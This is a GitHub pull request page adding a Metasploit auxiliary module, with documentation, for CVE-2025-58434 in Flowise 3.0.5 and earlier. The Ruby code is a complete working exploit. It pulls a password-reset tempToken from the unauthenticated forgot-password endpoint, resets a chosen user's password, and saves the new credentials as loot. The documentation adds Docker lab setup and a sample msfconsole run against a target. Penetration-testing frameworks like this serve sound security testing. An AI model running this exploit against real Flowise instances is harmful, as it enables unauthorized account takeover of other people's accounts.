-
Notifications
You must be signed in to change notification settings - Fork 14.9k
ENH: auxiliary module for Flowise Authentication Bypass CVE-2025-58434 #21757
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Open
rmhowe425
wants to merge
8
commits into
rapid7:master
Choose a base branch
from
rmhowe425:dev/CVE-2025-58434
base: master
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
+231
−0
Open
Changes from all commits
Commits
Show all changes
8 commits
Select commit
Hold shift + click to select a range
78406f7
Adding initial implementation and documentation
rmhowe425 eb21985
Ran msftidy and msftidy_docs
rmhowe425 3d6498e
Fixing issue with register_options
rmhowe425 61ce6c8
Fixing issue with register_options
rmhowe425 defe5f1
Polishing up documentation and implementation
rmhowe425 3e98c65
Fixing discrepancy in documentation
rmhowe425 8c03ea9
Updating implementation based on reviewer feedback
f018893
Updating implementation based on reviewer feedback
File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
79 changes: 79 additions & 0 deletions
79
documentation/modules/auxiliary/gather/flowise_auth_bypass_cve_2025_58434.md
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,79 @@ | ||
| ## Vulnerable Application | ||
|
|
||
| In Flowise versions 3.0.5 and earlier, the `forgot-password` endpoint in Flowise returns sensitive information including | ||
| a valid password reset `tempToken` without authentication or verification. This enables any attacker to generate a reset | ||
| token for arbitrary users and directly reset their password, leading to a complete account takeover (ATO). | ||
|
|
||
| The vulnerability affects: | ||
|
|
||
| * flowise <= 3.0.5 | ||
|
|
||
| This module was successfully tested on: | ||
|
|
||
| * flowise 3.0.4 installed with Docker | ||
|
|
||
|
|
||
| ### Installation | ||
| 1. Pull & run a Flowise docker container (v3.0.4) in your VM. | ||
| ``` | ||
| docker run -d \ | ||
| --name flowise \ | ||
| --network flowise-net \ | ||
| -p 3000:3000 \ | ||
| -e SMTP_HOST=mailhog \ | ||
| -e SMTP_PORT=1025 \ | ||
| -e SMTP_SECURE=false \ | ||
| -e SMTP_USER=test \ | ||
| -e SMTP_PASSWORD=test \ | ||
| -v flowise-data:/root/.flowise \ | ||
| flowiseai/flowise:3.0.4 | ||
| ``` | ||
| 2. Pull and run Mailwise docker container in your VM. | ||
| ``` | ||
| docker run -d \ | ||
| --name mailhog \ | ||
| --network flowise-net \ | ||
| -p 1025:1025 \ | ||
| -p 8025:8025 \ | ||
| mailhog/mailhog | ||
| ``` | ||
|
|
||
|
|
||
| ## Verification Steps | ||
|
|
||
| 1. Install the application | ||
| 2. Start msfconsole | ||
| 3. Do: `use exploit/multi/http/flowise_auth_bypass_cve-2025_58434` | ||
| 4. Do: `run rhost=<rhost> email=<email> newpassword=<new password>` | ||
| 5. You should get a status success message indicating that the new username and password have been stored to loot. | ||
|
|
||
|
|
||
| ## Options | ||
|
|
||
| ### EMAIL (required) | ||
|
|
||
| Email address of the Flowise user whose password is to be reset | ||
|
|
||
| ### NEWPASSWORD (required) | ||
|
|
||
| The new password of the targeted Flowise user. | ||
| NOTE: Flowise does not accept empty strings as passwords. | ||
|
|
||
|
|
||
| ## Scenarios | ||
| ``` | ||
| msf > use auxiliary/gather/flowise_auth_bypass_cve_2025_58434 | ||
| msf auxiliary(gather/flowise_auth_bypass_cve_2025_58434) > set RHOSTS 192.168.1.30 | ||
| RHOSTS => 192.168.1.30 | ||
| msf auxiliary(gather/flowise_auth_bypass_cve_2025_58434) > set EMAIL admin@local.com | ||
| EMAIL => admin@local.com | ||
| msf auxiliary(gather/flowise_auth_bypass_cve_2025_58434) > set NEWPASSWORD password123 | ||
| NEWPASSWORD => password123 | ||
| msf auxiliary(gather/flowise_auth_bypass_cve_2025_58434) > run | ||
| [*] Running module against 192.168.1.30 | ||
| [*] Running automatic check ("set AutoCheck false" to disable) | ||
| [+] The target appears to be vulnerable. Flowise version 3.0.4 is in the vulnerable range | ||
| [+] Password reset successful. Loot stored in: /home/richard/.msf4/loot/20260806210741_default_192.168.1.30_flowise.files_888141.txt | ||
| [*] Auxiliary module execution completed | ||
| msf auxiliary(gather/flowise_auth_bypass_cve_2025_58434) > | ||
| ``` |
152 changes: 152 additions & 0 deletions
152
modules/auxiliary/gather/flowise_auth_bypass_cve_2025_58434.rb
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,152 @@ | ||
| ## | ||
| # This module requires Metasploit: https://metasploit.com/download | ||
| ## | ||
|
|
||
| require 'uri' | ||
|
|
||
| class MetasploitModule < Msf::Auxiliary | ||
| include Msf::Exploit::Remote::HttpClient | ||
| include Msf::Auxiliary::Report | ||
| prepend Msf::Exploit::Remote::AutoCheck | ||
|
|
||
| def initialize(info = {}) | ||
| super( | ||
| update_info( | ||
| info, | ||
| 'Name' => 'Flowise Authentication Bypass', | ||
| 'Description' => %q{ | ||
| In Flowise versions 3.0.5 and earlier, the `forgot-password` endpoint in Flowise returns sensitive information including | ||
| a valid password reset `tempToken` without authentication or verification. | ||
| This enables any attacker to generate a reset token for arbitrary users and directly reset their password, leading to a | ||
| complete account takeover (ATO). | ||
| }, | ||
| 'License' => MSF_LICENSE, | ||
| 'Author' => [ | ||
| 'Richard Howe', # Metasploit module | ||
| 'Isaac David', # Discovered vulnerability | ||
| 'Arthur Gervais' # Discovered vulnerability | ||
| ], | ||
| 'References' => [ | ||
| ['CVE', '2025-58434'], | ||
| ['EDB', '52557'], | ||
| ['GHSA', 'wgpv-6j63-x5ph'] | ||
| ], | ||
| 'DisclosureDate' => '2025-09-12', | ||
| 'Notes' => { | ||
| 'Stability' => [CRASH_SAFE], | ||
| 'SideEffects' => [IOC_IN_LOGS], | ||
| 'Reliability' => [] | ||
| } | ||
| ) | ||
| ) | ||
|
|
||
| register_options( | ||
| [ | ||
| Opt::RPORT(3000), | ||
| OptString.new('TARGETURI', [true, 'Base path of the Flowise dashboard', '/']), | ||
| OptString.new('EMAIL', [true, 'The email address of victim user', 'admin@local']), | ||
| OptString.new('NEWPASSWORD', [true, 'The new password assigned to the victim user', 'password123']) | ||
| ] | ||
| ) | ||
| end | ||
|
|
||
| def check | ||
| res = send_request_cgi( | ||
| { | ||
| 'method' => 'GET', | ||
| 'uri' => normalize_uri(target_uri.path, 'api/v1/version') | ||
| } | ||
| ) | ||
|
|
||
| unless res&.code == 200 | ||
| return Exploit::CheckCode::Unknown( | ||
| 'No response or unexpected status from Flowise API' | ||
| ) | ||
| end | ||
|
|
||
| flow_version = res.get_json_document['version'] | ||
|
|
||
| unless Rex::Version.new(flow_version) <= Rex::Version.new('3.0.5') | ||
| return Exploit::CheckCode::Safe( | ||
| "Flowise version #{flow_version} is not vulnerable" | ||
| ) | ||
| end | ||
|
|
||
| Exploit::CheckCode::Appears( | ||
| "Flowise version #{flow_version} is in the vulnerable range" | ||
| ) | ||
| end | ||
|
|
||
| def get_reset_token(email) | ||
| res = send_request_cgi( | ||
| { | ||
| 'method' => 'POST', | ||
| 'uri' => normalize_uri(target_uri.path, 'api/v1/account/forgot-password'), | ||
| 'headers' => { | ||
| 'Content-Type' => 'application/json' | ||
| }, | ||
| 'data' => { | ||
| 'user' => { | ||
| email: email | ||
| } | ||
| }.to_json | ||
| } | ||
| ) | ||
|
|
||
| fail_with(Failure::Unknown, 'Unexpected server reply while requesting reset token.') unless res&.code == 201 | ||
|
|
||
| res.get_json_document.dig('user', 'tempToken') | ||
| end | ||
|
|
||
| def reset_password(email, token, password) | ||
| res = send_request_cgi( | ||
| { | ||
| 'method' => 'POST', | ||
| 'uri' => normalize_uri(target_uri.path, 'api/v1/account/reset-password'), | ||
| 'headers' => { | ||
| 'Content-Type' => 'application/json' | ||
| }, | ||
| 'data' => { | ||
| 'user' => { | ||
| 'email' => email, | ||
| 'tempToken' => token, | ||
| 'password' => password | ||
| } | ||
| }.to_json | ||
| } | ||
| ) | ||
|
|
||
| fail_with(Failure::Unknown, 'Unexpected server reply while resetting password.') unless res&.code == 201 | ||
| end | ||
|
|
||
| def run | ||
| email = datastore['EMAIL'] | ||
| new_password = datastore['NEWPASSWORD'] | ||
|
|
||
| # Request reset token | ||
| reset_token = get_reset_token(email) | ||
|
|
||
| if reset_token.empty? | ||
| fail_with(Failure::UnexpectedReply, 'Could not retrieve password reset token for victim email address.') | ||
| end | ||
|
|
||
| # Reset user password | ||
| reset_password(email, reset_token, new_password) | ||
|
|
||
| loot = { | ||
| 'email' => email, | ||
| 'password' => new_password | ||
| }.to_json | ||
|
|
||
| loot_path = store_loot( | ||
| 'flowise.files', | ||
| 'text/plain', | ||
| rhost, | ||
| loot, | ||
| 'flowise.txt', | ||
| 'Flowise login credentials retrieved via unauthenticated user password reset' | ||
| ) | ||
|
|
||
| print_good("Password reset successful. Loot stored in: #{loot_path}") | ||
| end | ||
| end | ||
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Just FYI, this is also possible:
Uh oh!
There was an error while loading. Please reload this page.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I initially had this but RuboCop is complaining, giving me the following:
Style/MultilineIfModifier: Favor a normal unless-statement over a modifier clause in a multiline statement😄